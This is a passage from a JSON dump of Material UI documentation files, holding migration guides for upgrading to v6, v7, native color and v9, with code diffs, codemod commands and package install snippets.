814px;\" alt=\"Before and after of the Grid no longer overflowing its parent in v6.\" width=\"1628\" height=\"400\" />\n\nThis eliminates the need for the `disableEqualOverflow` prop:\n\n```diff\n-<Grid disableEqualOverflow>\n+<Grid>\n```\n\n#### Grid item spacing change\n\nIn v5, Grid items included spacing in their boxes.\nIn v6, Grid items no longer include spacing in their boxes by using the [CSS gap property](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/gap).\n\nNote that the item position doesn't change.\n\n<img src=\"/static/material-ui/migration-v5/grid-spacing-change.png\" style=\"width: 814px;\" alt=\"Before and after of the Grid items no longer including spacing in their boxes.\" width=\"1628\" height=\"400\" />\n\n:::warning\nThese updates may lead to unexpected changes to your app's layout.\nStill, we strongly recommend adopting this new behavior rather than trying to replicate the old pattern, as the new version is more predictable and modern.\n:::\n\n#### Container width\n\nThe updated Grid component doesn't grow to the full width of the container by default.\nIf you need the grid to grow to the full width, you can use the `sx` prop:\n\n```diff\n-<Grid container>\n+<Grid container sx={{ width: '100%' }}>\n\n // alternatively, if the Grid's parent is a flex container:\n-<Grid container>\n+<Grid container sx={{ flexGrow: 1 }}>\n```\n\n### ListItem\n\n`ListItem`'s props `autoFocus`, `button`, `disabled`, and `selected`, deprecated in v5, have been removed. To replace the `button` prop, use `ListItemButton` instead. The other removed props are available in the `ListItemButton` component as well.\n\n```diff\n-<ListItem button />\n+<ListItemButton />\n```\n\nUse this codemod to migrate your project to the `ListItemButton` component:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/list-item-button-prop <path/to/folder>\n```\n\nAs the `ListItem` no longer supports these props, the class names related to these props were removed. You should use the `listItemButtonClasses` object instead.\n\n```diff\n-import { listItemClasses } from '@mui/material/ListItem';\n+import { listItemButtonClasses } from '@mui/material/ListItemButton';\n\n-listItemClasses.button\n+listItemButtonClasses.root\n\n-listItemClasses.focusVisible\n+listItemButtonClasses.focusVisible\n\n-listItemClasses.disabled\n+listItemButtonClasses.disabled\n\n-listItemClasses.selected\n+listItemButtonClasses.selected\n```\n\n### Button with Loading State\n\nAs of `@mui/material` **v6.4.0**, the `LoadingButton` from Lab has been removed. Loading functionality is now part of the standard `Button` component. Update your import as follows:\n\n```diff\n-import { LoadingButton } from '@mui/lab';\n+import { Button } from '@mui/material';\n```\n\n```diff\n-import LoadingButton from '@mui/lab/LoadingButton';\n+import Button from '@mui/material/Button';\n```\n\nFor more details, see the [Loading section](/material-ui/react-button/#loading-2) in the [Material UI `Button` documentation](/material-ui/react-button/).\n\n### Typography\n\nThe `color` prop in the `Typography` component is not a [system prop](https://mui.com/system/properties/) anymore. You can use the `sx` prop instead:\n\n```diff\n-<Typography color={(theme) => theme.palette.primary.main}>\n+<Typography sx={{ color: (theme) => theme.palette.primary.main }}>\n```\n\n:::info\nSystem props have been deprecated in favor of the `sx` prop. Check the [migration guide](/material-ui/migration/migrating-from-deprecated-apis/#system-props) for more information.\n:::\n\nYou still can access some theme colors directly using the `color` prop. Check the [Typography component API page](/material-ui/api/typography/#typography-prop-color) for the whole list of colors.\n\n```jsx\n<Typography color=\"textSecondary\">Secondary text</Typography>\n```\n\n### useMediaQuery types\n\nThe following deprecated types are removed in v6:\n\n- `MuiMediaQueryList`: use `MediaQueryList` (from lib.dom.d.ts) instead.\n- `MuiMediaQueryListEvent`: use `MediaQueryListEvent` (from lib.dom.d.ts) instead.\n- `MuiMediaQueryListListener`: use `(event: MediaQueryListEvent) => void` instead.\n\n## Breaking changes affecting testing\n\n### Ripple effect\n\nThe ripple effect's performance has been improved in v6.\nBecause of this, you might need to update tests involving components with the ripple effect.\nIf you are using `fireEvent` from `@testing-library/react` to simulate user interactions, you will need to wrap these inside `act` and `await` to avoid React warnings:\n\n```diff\n- fireEvent.click(button);\n+ await act(async () => fireEvent.mouseDown(button));\n```\n\nThe components affected by this change are:\n\n- All buttons\n- Checkbox\n- Chip\n- Radio Group\n- Switch\n- Tabs\n\n## Breaking changes affecting types\n\n### Box\n\nThe `component` prop has been removed from the `BoxOwnProps` as it is already included in the `Box` type.\nThis might affect your code if you are using the `styled` function with the `Box` component.\nIf this is the case, use a `div` element instead of `Box`:\n\n```diff\n-const StyledBox = styled(Box)`\n+const StyledDiv = styled('div')`\n   color: white;\n `;\n```\n\nThis yields the same end result.\nIf this doesn't work for you, you can also cast the `styled` returned value to `typeof Box`:\n\n```diff\n const StyledBox = styled(Box)`\n   color: white;\n-`;\n+` as typeof Box;\n```\n\n## Stabilized APIs\n\n### CssVarsProvider and extendTheme\n\nThe `CssVarsProvider` and `extendTheme` APIs are now stable.\nIf you're already using them in v5 you can now drop the experimental prefix:\n\n```diff\n-import { experimental_extendTheme as extendTheme, Experimental_CssVarsProvider as CssVarsProvider } from '@mui/material/styles';\n+import { extendTheme, CssVarsProvider } from '@mui/material/styles';\n```\n\nSee [CSS theme variables](/material-ui/customization/css-theme-variables/overview/) for more details about working with these APIs.\n\n### Color mode theme utility\n\nMaterial UI v6 introduces a new utility for adding styles to specific color modes called `theme.applyStyles()`, designed to replace `theme.palette.mode` when applying light or dark styles:\n\n```diff\n const MyComponent = styled('button')(({ theme }) => ({\n   padding: '0.5rem 1rem',\n   border: '1px solid,\n-  borderColor: theme.palette.mode === 'dark' ? '#fff' : '#000',\n+  borderColor: '#000',\n+  ...theme.applyStyles('dark', {\n+    borderColor: '#fff',\n+  })\n }))\n```\n\nUse these codemods to migrate your project to `theme.applyStyles()`:\n\n```bash\nnpx @mui/codemod@latest v6.0.0/styled <path/to/folder-or-file>\nnpx @mui/codemod@latest v6.0.0/sx-prop <path/to/folder-or-file>\nnpx @mui/codemod@latest v6.0.0/theme-v6 <path/to/theme-file>\n```\n\n:::info\nIf you have a custom theme, run `v6.0.0/theme-v6` against the file that contains your custom `styleOverrides`.\nOtherwise you can ignore this codemod.\n:::\n\n## Deprecations\n\nIt is not required to immediately go through the deprecations in order to use Material UI v6.\n\nYou can do it at your own pace by checking out the [deprecations page](/material-ui/migration/migrating-from-deprecated-apis/).\nThose deprecations will be removed in the next major version.\n\n## Pigment CSS integration (optional)\n\nOnce you've finished upgrading your app to v6, you'll be ready to start [migrating to Pigment CSS](/material-ui/migration/migrating-to-pigment-css/) for RSC support and a smaller bundle size.\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-v7/migrating-from-deprecated-apis.md",
    "content": "# Migrating from deprecated APIs\n\n<p class=\"description\">Learn how to migrate away from recently deprecated APIs before they become breaking changes.</p>\n\n## Why you should migrate\n\nFeatures become deprecated over time as maintainers make improvements to the APIs.\nMigrating to these improved APIs results in a better developer experience, so it's in your best interest to stay up to date.\nDeprecated APIs often become breaking changes in subsequent major versions, so the sooner you migrate, the smoother the next major update will be.\n\n## Autocomplete\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#autocomplete-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/autocomplete-props <path>\n```\n\n### renderTags prop\n\nThe `renderTags` prop is deprecated, use `renderValue` instead.\n\n```diff\n <Autocomplete\n   multiple\n   options={options}\n-  renderTags={(value, getTagProps, ownerState) =>\n-    value.map((option, index) => (\n-      <Chip label={option.label} {...getTagProps({ index })} />\n-    ))\n-  }\n+  renderValue={(value, getItemProps, ownerState) =>\n+    value.map((option, index) => (\n+      <Chip label={option.label} {...getItemProps({ index })} />\n+    ))\n+  }\n />\n```\n\n---\n\n### useAutocomplete deprecated fields\n\nThe following return value fields are deprecated from the `useAutocomplete` hook:\n\n- `getTagProps` → use `getItemProps`\n- `focusedTag` → use `focusedItem`\n\n#### getTagProps\n\n```diff\n const {\n-  getTagProps,\n+  getItemProps,\n } = useAutocomplete(props);\n\n // ...\n-<Chip {...getTagProps({ index })} />\n+<Chip {...getItemProps({ index })} />\n```\n\n#### focusedTag\n\n```diff\n const {\n-  focusedTag,\n+  focusedItem,\n } = useAutocomplete(props);\n```\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-v7/upgrade-to-native-color.md",
    "content": "# Upgrade to native color\n\n<p class=\"description\">This guide explains how to upgrade from JavaScript color manipulation to native color.</p>\n\nNative color is an opt-in feature that replaces the JavaScript color manipulation with CSS `color-mix()` and relative colors.\nCheck out the [native color documentation](/material-ui/customization/css-theme-variables/native-color/) for more details.\n\n## Prerequisites\n\nUpdate Material UI to the latest version (or at least v7.3.0).\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/material@next\n```\n\n```bash pnpm\npnpm add @mui/material@next\n```\n\n```bash yarn\nyarn add @mui/material@next\n```\n\n</codeblock>\n\n## Enable native color\n\nSet the `cssVariables.nativeColor` option to `true` in the `createTheme()` function.\n\n```js\nconst theme = createTheme({\n  cssVariables: { nativeColor: true },\n});\n```\n\nOnce you've enabled native color, Material UI will start using CSS `color-mix()` and relative colors to manipulate colors.\n\nTo check that it's working, open the browser's developer tools. On the Elements tab, click the Styles panel and search for \"color-mix\".\nYou should see the Material UI color tokens appear as CSS variables.\n\n## Handling JavaScript color manipulation\n\nYour application might break if you're using the `alpha`, `lighten`, and `darken` functions from `@mui/*` to manipulate colors that have been updated to use native color.\n\nFor example, manipulating the `contrastText` token will break the application:\n\n```js\nimport { alpha } from '@mui/material/styles';\n\nconst theme = createTheme({\n  cssVariables: { nativeColor: true },\n});\n\n// ❌ This will break because `alpha` does not support relative colors.\nconsole.log(alpha(theme.palette.primary.contrastText, 0.3));\n```\n\nTo fix this, you can use the `theme.alpha()` adapter function to manipulate colors.\n\n```js\nconst theme = createTheme({\n  cssVariables: { nativeColor: true },\n});\n\n// ✅ This will work because `theme.alpha` supports relative colors.\nconsole.log(theme.alpha(theme.palette.primary.contrastText, 0.3));\n```\n\nThe same applies to the `lighten` and `darken` functions.\nFollow the codemod below to update multiple files at once.\n\n## Remove usage of channel tokens\n\nAfter enabling the native color, you **should not** rely on the `*Channel` tokens anymore because their values are not guaranteed to be channels (numbers separated by a white space).\n\nInstead, use the theme color functions to manipulate colors like this:\n\n```diff\n- `rgba(${theme.vars.palette.primary.mainChannel} / 0.3)`\n+ `theme.alpha((theme.vars || theme).palette.primary.main, 0.3)`\n```\n\n## Codemod\n\nThe codemod replaces the `alpha()`, `lighten()`, and `darken()` functions from `@mui/system/colorManipulator` or `@mui/material/styles` with theme color functions.\n\n```bash\nnpx @mui/codemod@latest v7.0.0/theme-color-functions <path>\n```\n\nThe following transformation example shows what the codemod does:\n\n```diff\n- import { alpha } from '@mui/system/colorManipulator';\n- // or import { alpha } from '@mui/material/styles';\n\n styled('div')(({ theme }) => ({\n   width: '100%',\n   height: '100%',\n   '&.good': {\n-    backgroundColor: theme.vars\n-      ? `rgba(${theme.vars.palette.success.mainChannel} /  0.3)`\n-      : alpha(theme.palette.success.main, 0.3),\n+    backgroundColor: theme.alpha((theme.vars || theme).palette.success.main, 0.3),\n   },\n   '&.bad': {\n-    backgroundColor: theme.vars\n-      ? `rgba(${theme.vars.palette.error.mainChannel} /  0.3)`\n-      : alpha(theme.palette.error.main, 0.3),\n+    backgroundColor: theme.alpha((theme.vars || theme).palette.error.main, 0.3),\n   },\n }));\n```\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-v7/upgrade-to-v7.md",
    "content": "# Upgrade to v7\n\n<p class=\"description\">This guide explains how to upgrade from Material UI v6 to v7.</p>\n\n## Why you should upgrade to Material UI v7\n\n### Improved ESM support\n\nThe package layout has been updated, and now unambiguously supports both valid ESM and CommonJS through the `exports` field in `package.json`.\nYou can read more about package exports in the [Node.js documentation](https://nodejs.org/api/packages.html#packages_exports).\n\nThis update fixes several issues with popular bundlers like Vite and webpack, and makes it possible to load MUI packages from ES modules under Node.js.\n\n### Quality-of-life improvements\n\nMaterial UI v7 features other quality-of-life improvements, including:\n\n- Standardization of the slot pattern across all components\n- CSS layers support via the `enableCssLayer` prop in `StyledEngineProvider` for client-side apps, and `AppRouterCacheProvider` for Next.js App Router apps\n- Removed deprecated APIs to reduce the API surface and make the docs easier to navigate\n\nIf you're using any of these packages, you should also update their versions to `\"7.0.0\"`:\n\n- `@mui/icons-material`\n- `@mui/system`\n- `@mui/lab`\n- `@mui/material-nextjs`\n- `@mui/styled-engine`\n- `@mui/styled-engine-sc`\n- `@mui/utils`\n\nNote that MUI X packages _do not_ follow the same versioning strategy as Material UI.\nIf you're using any of the following packages, they should remain unchanged during the upgrade process:\n\n- `@mui/x-data-grid`\n- `@mui/x-data-grid-pro`\n- `@mui/x-data-grid-premium`\n- `@mui/x-date-pickers`\n- `@mui/x-date-pickers-pro`\n- `@mui/x-charts`\n- `@mui/x-tree-view`\n- `@mui/x-tree-view-pro`\n\n## Minimum TypeScript version\n\nThe minimum supported version of TypeScript has been increased from v4.7 to 4.9.\n\n:::info\nWe align with [support window](https://github.com/DefinitelyTyped/DefinitelyTyped?tab=readme-ov-file#support-window) by [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped) (published on npm under the `@types` namespace).\n\nWe will not change the minimum supported version in a minor version of Material UI.\nHowever, we recommend not using a TypeScript version older than the lowest supported version by DefinitelyTyped.\n:::\n\nFor `@types/react*` packages, make sure they are the same major version as the `react` you are using.\nUse the snippet below to update your project if needed (replace the `<version>` with the major version of `react` you are using):\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @types/react@<version> @types/react-dom@<version>\n```\n\n```bash pnpm\npnpm add @types/react@<version> @types/react-dom@<version>\n```\n\n```bash yarn\nyarn add @types/react@<version> @types/react-dom@<version>\n```\n\n</codeblock>\n\n:::warning\nMake sure that your application is still running without errors, and commit the changes before continuing to the next step.\n:::\n\n## React 18 and below\n\nIf you are using React 18 or below, you need to set up a resolution of `react-is` package to the same version as the `react` you are using.\n\nFor example, if you are using `react@18.3.1`, do the following steps:\n\n1. Install `react-is@18.3.1`.\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install react-is@18.3.1\n```\n\n```bash pnpm\npnpm add react-is@18.3.1\n```\n\n```bash yarn\nyarn add react-is@18.3.1\n```\n\n</codeblock>\n\n2. Set the resolutions or overrides in the `package.json`.\n\n<codeblock storageKey=\"package-manager\">\n\n```json npm\n{\n  …\n  \"overrides\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n```json pnpm\n{\n  …\n  \"overrides\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n```json yarn\n{\n  …\n  \"resolutions\": {\n    \"react-is\": \"^18.3.1\"\n  }\n}\n```\n\n</codeblock>\n\n### Why is this needed?\n\nMaterial UI v7 uses `react-is@19`, which changed how React elements are identified.\n\nIf you're on React 18 or below, mismatched versions of `react-is` can cause runtime errors in prop type checks.\nForcing `react-is` to match your React version prevents these errors.\n\n## Deprecations\n\nIt is not required to immediately go through the deprecations in order to use Material UI v7.\n\nYou can do it at your own pace by checking out the [deprecations page](/material-ui/migration/v7/migrating-from-deprecated-apis/).\nThose deprecations will be removed in the next major version.\n\n## Breaking changes\n\nSince v7 is a new major release, it contains some changes that affect the public API.\nThe steps you need to take to migrate from Material UI v6 to v7 are described below.\n\n### Package layout updated\n\nThe package layout has been updated to use the Node.js exports field. This brings several changes:\n\nDeep imports with more than one level are no longer working, at all (they were already considered private API). For example:\n\n```diff\n-import createTheme from '@mui/material/styles/createTheme';\n+import { createTheme } from '@mui/material/styles';\n```\n\nThis was never officially supported, but now it will be restricted by bundlers and runtimes.\n\nModern bundles have also been removed, as the potential for a smaller bundle size is no longer significant.\nIf you've configured aliases for these bundles, you must remove them now.\n\n```diff\n {\n   resolve: {\n     alias: {\n-      '@mui/material': '@mui/material/modern',\n-      '@mui/styled-engine': '@mui/styled-engine/modern',\n-      '@mui/system': '@mui/system/modern',\n-      '@mui/base': '@mui/base/modern',\n-      '@mui/utils': '@mui/utils/modern',\n-      '@mui/lab': '@mui/lab/modern',\n     }\n   }\n }\n```\n\n:::info\nEarlier versions of this guide mention the existence of a `mui-modern` conditional exports.\nThis has since been removed.\nThis is a non-breaking change, and your bundler will fall back to the ESM bundle.\n:::\n\nIf you are using a Vite alias to force ESM imports for the icons package, you should remove it as it's no longer necessary:\n\n```diff\n // vite.config.js\n   resolve: {\n     alias: [\n-      {\n-        find: /^@mui\\/icons-material\\/(.*)/,\n-        replacement: \"@mui/icons-material/esm/$1\",\n-      },\n     ],\n   },\n```\n\nIf you are augmenting the theme and using declarations for nested imports, you should replace them with `@mui/material/styles`. You may also have to rename an interface as some are exported from `@mui/material/styles` under a different name:\n\n```diff\n-declare module '@mui/material/styles/createTypography' {\n+declare module '@mui/material/styles' {\n-  interface TypographyOptions {\n+  interface TypographyVariantsOptions {\n     // ...\n   }\n\n-  interface Typography {\n+  interface TypographyVariants {\n     // ...\n   }\n }\n```\n\n### Grid and Grid2 renamed\n\nThe deprecated `Grid` component has been renamed to `GridLegacy`.\nThe `Grid2` component has been moved to the `Grid` namespace.\nDepending on your project, you may follow one of the following approaches:\n\n1. **If you are using the deprecated grid and wish to upgrade,** run the following codemod:\n\n   <!-- #npm-tag-reference -->\n\n   ```bash\n   npx @mui/codemod@next v7.0.0/grid-props <path/to/folder>\n   ```\n\n   See the [Grid upgrade guide](/material-ui/migration/upgrade-to-grid-v2/) for more information.\n\n2. **If you are using the deprecated grid and wish to continue using it,** update the `Grid` references as follows:\n\n   ```diff\n    // imports\n   -import Grid, { gridClasses, GridProps } from '@mui/material/Grid';\n   +import Grid, { gridLegacyClasses, GridLegacyProps } from '@mui/material/GridLegacy';\n\n   -import { Grid } from '@mui/material';\n   +import { GridLegacy as Grid } from '@mui/material';\n\n    // theme\n    const theme = createTheme({\n      components: {\n   -    MuiGrid: {\n   +    MuiGridLegacy: {\n          // ...\n        },\n      },\n    });\n\n    // CSS classes\n   -.MuiGrid-root\n   +.MuiGridLegacy-root\n   ```\n\n3. **If you are using Grid2,** update the `Grid2` references as follows:\n\n   ```diff\n    // imports\n   -import Grid, { grid2Classes as gridClasses, Grid2Props as GridProps } from '@mui/material/Grid2';\n   +import Grid, { gridClasses, GridProps } from '@mui/material/Grid';\n\n   -import { Grid2 as Grid } from '@mui/material';\n   +import { Grid } from '@mui/material';\n\n    // theme\n    const theme = createTheme({\n      components: {\n   -    MuiGrid2: {\n   +    MuiGrid: {\n          // ...\n        },\n      },\n    });\n\n    // CSS classes\n   -.MuiGrid2-root\n   +.MuiGrid-root\n   ```\n\n### InputLabel size prop standardized\n\nThe `size` prop for `InputLabel` now follows the standard naming convention used across other components like `Button` and `TextField`. `'normal'` has been replaced with `'medium'` for consistency.\n\nIf you were using `size=\"normal\"`, update it to `size=\"medium\"`:\n\n```diff\n-<InputLabel size=\"normal\">Label</InputLabel>\n+<InputLabel size=\"medium\">Label</InputLabel>\n```\n\nThe default behavior remains unchanged, so no updates are needed unless you explicitly set `size=\"normal\"`.\n\nUse this codemod to automatically update the `size` value:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v7.0.0/input-label-size-normal-medium <path/to/folder>\n```\n\n**Note:** Because the default size of `InputLabel` was changed from `normal` to `medium`, the class `MuiInputLabel‑sizeMedium` is no longer added. If you relied on this class for custom styling, use a different class.\n\n### SvgIcon's data-testid removed\n\nThe default `data-testid` prop has been removed from the icons in `@mui/icons-material` in production bundles. This change ensures that the `data-testid` prop is only defined where needed, reducing the potential for naming clashes and removing unnecessary properties in production.\n\n### TablePaginationActions types import path changed\n\nThe import path for the types has changed from `@mui/material/TablePagination/TablePaginationActions` to `@mui/material/TablePaginationActions`.\n\n```diff\n- import type { TablePaginationActionsProps } from '@mui/material/TablePagination/TablePaginationActions';\n+ import type { TablePaginationActionsProps } from '@mui/material/TablePaginationActions';\n```\n\n### Theme behavior changes\n\nWhen CSS theme variables is enabled with built-in light and dark color schemes, the theme no longer changes between modes.\nThe snippet below demonstrates this behavior when users toggle the dark mode, the `mode` state from `useColorScheme` changes, but the theme object no longer changes:\n\n```js\nimport {\n  ThemeProvider,\n  createTheme,\n  useTheme,\n  useColorScheme,\n} from '@mui/material/styles';\n\nconst theme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: 'class',\n  },\n  colorSchemes: {\n    light: true,\n    dark: true,\n  },\n});\nconsole.log(theme.palette.mode); // 'light' is the default mode\n\nfunction ColorModeToggle() {\n  const { setMode, mode } = useColorScheme();\n  const theme = useTheme();\n\n  React.useEffect(() => {\n    console.log(mode); // logged 'light' at first render, and 'dark' after the button click\n  }, [mode]);\n\n  React.useEffect(() => {\n    // logged 'light' at first render, no log after the button click\n    console.log(theme.palette.mode);\n  }, [theme]);\n\n  return <button onClick={() => setMode('dark')}>Toggle dark mode</button>;\n}\n\nfunction App() {\n  return (\n    <ThemeProvider theme={theme}>\n      <ColorModeToggle />\n    </ThemeProvider>\n  );\n}\n```\n\nThis default behavior was made to improve performance by avoiding unnecessary re-renders when the mode changes.\n\nIt's recommended to use the `theme.vars.*` as values in your styles to refer to the CSS variables directly:\n\n```js\nconst Custom = styled('div')(({ theme }) => ({\n  color: theme.vars.palette.text.primary,\n  background: theme.vars.palette.primary.main,\n}));\n```\n\nIf you need to do runtime calculations, we recommend using CSS instead of JavaScript whenever possible.\nFor example, adjusting the alpha channel of a color can be done using the [`color-mix` function](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Values/color_value/color-mix):\n\n```js\nconst Custom = styled('div')(({ theme }) => ({\n  color: `color-mix(in srgb, ${theme.vars.palette.text.primary}, transparent 50%)`,\n}));\n```\n\nHowever, if CSS approach is not possible, you can access the value directly from the `theme.colorSchemes` object, then apply both light and dark styles:\n\n```js\nconst Custom = styled('div')(({ theme }) => ({\n  color: alpha(theme.colorSchemes.light.palette.text.primary, 0.5),\n  ...theme.applyStyles('dark', {\n    color: alpha(theme.colorSchemes.dark.palette.text.primary, 0.5),\n  }),\n}));\n```\n\nIf any of the methods above do not suit your project, you can opt out from this behavior by passing the `forceThemeRerender` prop to the ThemeProvider component:\n\n```js\n<ThemeProvider forceThemeRerender />\n```\n\n### Deprecated APIs removed\n\nAPIs that were deprecated in v5 have been removed in v7.\n\n#### createMuiTheme function\n\nThe deprecated `createMuiTheme` function has been removed.\nUse `createTheme` instead.\n\n```diff\n-import { createMuiTheme } from '@mui/material/styles';\n+import { createTheme } from '@mui/material/styles';\n```\n\n#### Dialog's onBackdropClick prop\n\nThe deprecated `onBackdropClick` prop has been removed from the `Dialog` component.\nPlease use the [`onClose`](/material-ui/api/dialog/#dialog-prop-onClose) callback instead, which receives the event and the reason for the dialog closing.\nHere's an example of how to use it:\n\n```jsx\nfunction Example() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClose = (event, reason) => {\n    if (reason === 'backdropClick') {\n      // Handle the backdrop click\n    }\n    setOpen(false);\n  };\n\n  return (\n    <Dialog open={open} onClose={handleClose}>\n      {/* Dialog content */}\n    </Dialog>\n  );\n}\n```\n\n#### experimentalStyled function\n\nThe deprecated `experimentalStyled` function has been removed.\nUse `styled` instead.\n\n```diff\n-import { experimentalStyled as styled } from '@mui/material/styles';\n+import { styled } from '@mui/material/styles';\n```\n\n#### Hidden and PigmentHidden components\n\nThe deprecated `Hidden` and `PigmentHidden` components have been removed.\n\nUse the `sx` prop to replace `implementation=\"css\"`:\n\n```diff\n-<Hidden implementation=\"css\" xlUp><Paper /></Hidden>\n+<Paper sx={{ display: { xl: 'none', xs: 'block' } }} />\n```\n\n```diff\n-<Hidden implementation=\"css\" mdDown><Paper /></Hidden>\n+<Paper sx={{ display: { xs: 'none', md: 'block' } }} />\n```\n\nUse the `useMediaQuery` hook to replace `implementation=\"js\"`:\n\n```diff\n-<Hidden implementation=\"js\" xlUp><Paper /></Hidden>\n+const hidden = useMediaQuery(theme => theme.breakpoints.up('xl'));\n+return hidden ? null : <Paper />;\n```\n\n#### Modal's onBackdropClick prop\n\nThe deprecated `onBackdropClick` prop has been removed from the `Modal` component.\nPlease use the [`onClose`](/material-ui/api/modal/#modal-prop-onClose) callback instead, which receives the event and the reason for the modal closing.\nHere's an example of how to use it:\n\n```jsx\nfunction Example() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClose = (event, reason) => {\n    if (reason === 'backdropClick') {\n      // Handle the backdrop click\n    }\n    setOpen(false);\n  };\n\n  return (\n    <Modal open={open} onClose={handleClose}>\n      {/* Modal content */}\n    </Modal>\n  );\n}\n```\n\n#### Rating's MuiRating-readOnly CSS class\n\nThe deprecated `MuiRating-readOnly` class was removed in favor of `Mui-readOnly` global class.\n\n```diff\n-.MuiRating-readOnly\n+.Mui-readOnly\n```\n\n#### StepButtonIcon type\n\nThe deprecated `StepButtonIcon` type has been removed. Use `StepButtonProps['icon']` instead.\n\n```diff\n-import { StepButtonIcon } from '@mui/material/StepButton';\n+import { StepButtonProps } from '@mui/material/StepButton';\n\n-StepButtonIcon\n+StepButtonProps['icon']\n```\n\n#### StyledEngineProvider import path\n\nImporting `StyledEngineProvider` from `'@mui/material'` was deprecated and now has been removed.\nImport it from `'@mui/material/styles'` instead:\n\n```diff\n-import { StyledEngineProvider } from '@mui/material';\n+import { StyledEngineProvider } from '@mui/material/styles';\n```\n\n#### Lab components moved to the main package\n\nThe following `@mui/lab` components and hook have been moved to `@mui/material`:\n\n- Alert\n- AlertTitle\n- Autocomplete\n- AvatarGroup\n- Pagination\n- PaginationItem\n- Rating\n- Skeleton\n- SpeedDial\n- SpeedDialAction\n- SpeedDialIcon\n- ToggleButton\n- ToggleButtonGroup\n- usePagination\n\nTo keep using these components and hook, import them from `@mui/material` instead of `@mui/lab`.\n\n```diff\n-import Alert from '@mui/lab/Alert';\n+import Alert from '@mui/material/Alert';\n\n-import { Alert } from '@mui/lab';\n+import { Alert } from '@mui/material';\n```\n\nUse this codemod to automatically update the imports:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpx @mui/codemod@next v7.0.0/lab-removed-components <path/to/folder>\n```\n\n:::warning\nThe codemod doesn't cover type imports associated with the components.\n:::\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-v9/upgrade-to-v9.md",
    "content": "# Upgrade to v9\n\n<p class=\"description\">This guide explains how to upgrade from Material UI v7 to v9.</p>\n\n## Start using the alpha release\n\nIn the `package.json` file, change the package version from `latest` to `next`.\n\n```diff title=\"package.json\"\n-\"@mui/material\": \"latest\",\n+\"@mui/material\": \"next\",\n```\n\nUsing `next` ensures your project always uses the latest v9 pre-releases.\nAlternatively, you can also target and fix it to a specific version, for example, `9.0.0-alpha.0`.\n\n## Supported browsers and versions\n\nThe default bundle targets have changed in v9.\n\n<!-- #stable-snapshot -->\n\n- Chrome 117 (up from 109)\n- Edge 121\n- Firefox 121 (up from 115)\n- Safari 17.0 in both macOS and iOS (up from 15.4)\n- and more (see [.browserslistrc `stable` entry](https://github.com/mui/material-ui/blob/master/.browserslistrc#L9))\n\n## Breaking changes\n\nSince v9 is a new major release, it contains some changes that affect the public API.\nThe steps you need to take to migrate from Material UI v7 to v9 are described below.\n\n:::info\nThis list is a work in progress.\nExpect updates as new breaking changes are introduced.\n:::\n\n### Backdrop\n\nThe Backdrop component no longer adds the `aria-hidden=\"true\"` attribute to the Root slot by default.\n\n### Dialog & Modal\n\nThe `disableEscapeKeyDown` prop has been removed. The same behavior could be achieved\nby checking the value of the `reason` argument in `onClose`:\n\n```diff\n  const [open, setOpen] = React.useState(true);\n- const handleClose = () => {\n-   setOpen(false);\n- };\n+ const handleClose = (_event: React.SyntheticEvent<unknown>, reason: string) => {\n+   if (reason !== 'escapeKeyDown') {\n+     setOpen(false);\n+   }\n+ };\n  return (\n-  <Dialog open={open} disableEscapeKeyDown onClose={handleClose}>\n+  <Dialog open={open} onClose={handleClose}>\n    {/* ... */}\n  </Dialog>\n  );\n```\n\nThe `Modal` change is the same.\n\n### ButtonBase\n\n#### Click event propagation from Enter and Spacebar\n\nWhen sending Enter and Spacebar keys on the ButtonBase or components that are composed from ButtonBase,\nthe click event now bubbles to their ancestors.\n\nAlso, the `event` passed to the `onClick` prop is a `MouseEvent` instead of the `KeyboardEvent` captured\nin the ButtonBase keyboard handlers. This is actually the expected behavior.\n\n#### Event handlers on disabled non-native buttons\n\nWhen ButtonBase renders a non-native element like a `<span>`, keyboard and click event handlers will no longer run when the component is disabled.\n\n#### Replacing native button elements with non-interactive elements\n\nThe `nativeButton` prop is available on `<ButtonBase>` and all button-like components to ensure that they are rendered with the correct HTML attributes before hydration, for example during server-side rendering.\n\nThis should be specified when passing a React component to the `component` prop of a button-like component that either replaces the default rendered element:\n\n- From a native `<button>` to a non-interactive element like a `<div>`, or\n- From a non-button like a `<div>` to a native `<button>`\n\n```jsx\nconst CustomButton = React.forwardRef(function CustomButton(props, ref) {\n  return <div ref={ref} {...props} />;\n})\n\n<Button component={CustomButton} nativeButton={false}>\n  OK\n</Button>\n```\n\nA warning will be shown in development mode if the `nativeButton` prop is incorrectly omitted, or if the resolved element\ndoes not match the value of the prop.\n\nThe prop can be used for: `<ButtonBase>`, `<Button>`, `<Fab>`, `<IconButton>`, `<ListItemButton>`, `<MenuItem>`, `<StepButton>`, `<Tab>`, `<ToggleButton>`, `<AccordionSummary>`, `<BottomNavigationAction>`, `<CardActionArea>`, `<TableSortLabel>` and `<PaginationItem>`.\n\n### Autocomplete\n\n#### Listbox toggle on right click\n\nThe listbox does not toggle anymore when using right click on the input. The left click toggle behavior remains unchanged.\n\n#### freeSolo type related changes\n\nWhen the `freeSolo` prop is passed as `true`, the `getOptionLabel` and `isOptionEqualToValue` props\naccept `string` as well for their `option` and, respectively, `value` arguments:\n\n```diff\n- isOptionEqualToValue?: (option: Value, value: Value) => boolean;\n+ isOptionEqualToValue?: (\n+  option: Value,\n+  value: AutocompleteValueOrFreeSoloValueMapping<Value, 